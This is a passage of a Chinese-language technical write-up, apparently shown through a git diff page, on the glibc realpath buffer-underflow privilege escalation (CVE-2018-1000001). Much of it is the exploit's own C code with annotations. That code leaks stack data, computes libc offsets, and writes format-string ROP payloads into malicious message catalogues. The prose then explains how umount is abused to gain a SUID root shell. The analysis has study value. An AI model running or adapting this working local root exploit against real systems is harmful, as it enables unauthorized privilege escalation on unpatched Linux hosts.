// All data read, use it to prepare the content for the next phase.
|
||||||
|
fprintf(stderr, "Stack content received, calculating next phase\n");
|
||||||
|
|
||||||
|
int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址
|
||||||
|
|
||||||
|
// This is the address, where source Pointer is pointing to.
|
||||||
|
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
||||||
|
// This is the stack address source for the target pointer.
|
||||||
|
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
||||||
|
|
||||||
|
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
||||||
|
// This is the stack address of the libc start function return
|
||||||
|
// pointer.
|
||||||
|
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
||||||
|
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
||||||
|
sourcePointerLocation, sourcePointerTarget,
|
||||||
|
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
||||||
|
// So the libcStartFunctionReturnAddressSource is the lowest address
|
||||||
|
// to manipulate, targetPointerTarget+...
|
||||||
|
|
||||||
|
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
||||||
|
void *stackWriteData[]={
|
||||||
|
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
||||||
|
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
||||||
|
};
|
||||||
|
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
||||||
|
libcStartFunctionAddress, stackWriteData[0],
|
||||||
|
stackWriteData[1]);
|
||||||
|
escalationPhase++; // 阶段加 1 => case 2
|
||||||
|
|
||||||
|
char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中
|
||||||
|
createStackWriteFormatString(
|
||||||
|
escalationString, 1024,
|
||||||
|
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
||||||
|
sourcePointerTarget, // Base value to write
|
||||||
|
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
||||||
|
libcStartFunctionReturnAddressSource,
|
||||||
|
(unsigned short*)stackWriteData,
|
||||||
|
sizeof(stackWriteData)/sizeof(unsigned short)
|
||||||
|
);
|
||||||
|
fprintf(stderr, "Using escalation string %s", escalationString);
|
||||||
|
|
||||||
|
result=writeMessageCatalogue(
|
||||||
|
secondPhaseCataloguePathname,
|
||||||
|
(char*[]){
|
||||||
|
"%s: mountpoint not found",
|
||||||
|
"%s: not mounted",
|
||||||
|
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||||
|
},
|
||||||
|
(char*[]){
|
||||||
|
escalationString,
|
||||||
|
"BBBB5678%3$s\n",
|
||||||
|
"BBBBABCD%s\n"},
|
||||||
|
3);
|
||||||
|
break;
|
||||||
|
case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中
|
||||||
|
case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出
|
||||||
|
// Wait for pipe connection and output any result from mount.
|
||||||
|
readDataLength=0;
|
||||||
|
break;
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
if(moveLength) {
|
||||||
|
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
||||||
|
readDataLength-=moveLength;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
attemptEscalationCleanup:
|
||||||
|
[...]
|
||||||
|
return(escalationSuccess);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
通过栈喷射在内存中放置大量的 "AANGUAGE=X.X" 环境变量,这些变量位于栈的上部,包含了大量的指针。当运行 umount 时,很可能会调用到 `realpath()` 并造成下溢。umount 调用 `realpath()` 的过程是这样的:
|
||||||
|
```c
|
||||||
|
/*
|
||||||
|
* Check path -- non-root user should not be able to resolve path which is
|
||||||
|
* unreadable for him.
|
||||||
|
*/
|
||||||
|
static char *sanitize_path(const char *path)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
p = canonicalize_path_restricted(path); // 该函数会调用 realpath(),并返回绝对地址
|
||||||
|
[...]
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
setlocale(LC_ALL, ""); // 设置 locale,LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值
|
||||||
|
[...]
|
||||||
|
if (all) {
|
||||||
|
[...]
|
||||||
|
} else if (argc < 1) {
|
||||||
|
[...]
|
||||||
|
} else if (alltargets) {
|
||||||
|
[...]
|
||||||
|
} else if (recursive) {
|
||||||
|
[...]
|
||||||
|
} else {
|
||||||
|
while (argc--) {
|
||||||
|
char *path = *argv;
|
||||||
|
|
||||||
|
if (mnt_context_is_restricted(cxt)
|
||||||
|
&& !mnt_tag_is_valid(path))
|
||||||
|
path = sanitize_path(path); // 调用 sanitize_path 函数检查路径
|
||||||
|
|
||||||
|
rc += umount_one(cxt, path);
|
||||||
|
|
||||||
|
if (path != *argv)
|
||||||
|
free(path);
|
||||||
|
argv++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
mnt_free_context(cxt);
|
||||||
|
return (rc < 256) ? rc : 255;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```c
|
||||||
|
#include <locale.h>
|
||||||
|
|
||||||
|
char *setlocale(int category, const char *locale);
|
||||||
|
```
|
||||||
|
```c
|
||||||
|
// util-linux/lib/canonicalize.c
|
||||||
|
char *canonicalize_path_restricted(const char *path)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
canonical = realpath(path, NULL);
|
||||||
|
[...]
|
||||||
|
return canonical;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
因为所布置的环境变量是错误的(正确的应为 "LANGUAGE=X.X"),程序会打印出错误信息,此时第一阶段的 message catalogue 文件被加载,里面的格式化字符串将内存 dump 到 stderr,然后正如上面所讲的设置 `restricted` 字段,并将一个 `L` 写到喷射栈中,将其中一个环境变量修改为正确的 "LANGUAGE=X.X"。
|
||||||
|
|
||||||
|
由于语言发生了改变,umount 将尝试加载另一种语言的 catalogue。此时 umount 会有一个阻塞时间用于创建一个新的 message catalogue,漏洞利用得以同步进行,然后 umount 继续执行。
|
||||||
|
|
||||||
|
更新后的格式化字符串现在包含了当前程序的所有偏移。但是堆栈中却没有合适的指针用于写入,同时因为 fprintf 必须调用相同的格式化字符串,且每次调用需要覆盖不同的内存地址,这里采用一种简化的虚拟机的做法,每次 fprintf 的调用作为时钟,路径名的长度作为指令指针。格式化字符串重复处理的过程将返回地址从主函数转移到了 `getdate()` 和 `execl()` 两个函数中。这两个函数被用于 ROP。
|
||||||
|
|
||||||
|
被调用的程序文件中包含一个 shebang(即"#!"),使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限,使其变成一个 SUID 程序。当 mount 最初的调用者发现文件的权限发生了变化,它会做一定的清理并调用 SUID 二进制文件的辅助功能,即一个 SUID shell,于是完成提权。
|
||||||
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
- [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/)
|
- [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/)
|
||||||
- https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
|
- https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
|
||||||
|
- `man 3 getcwd`,`man 3 realpath`,`man mount_namespaces`
|
||||||
|
- [util-linux/sys-utils/umount.c](https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c)
|
||||||
|
Loading…
Reference in New Issue
Block a user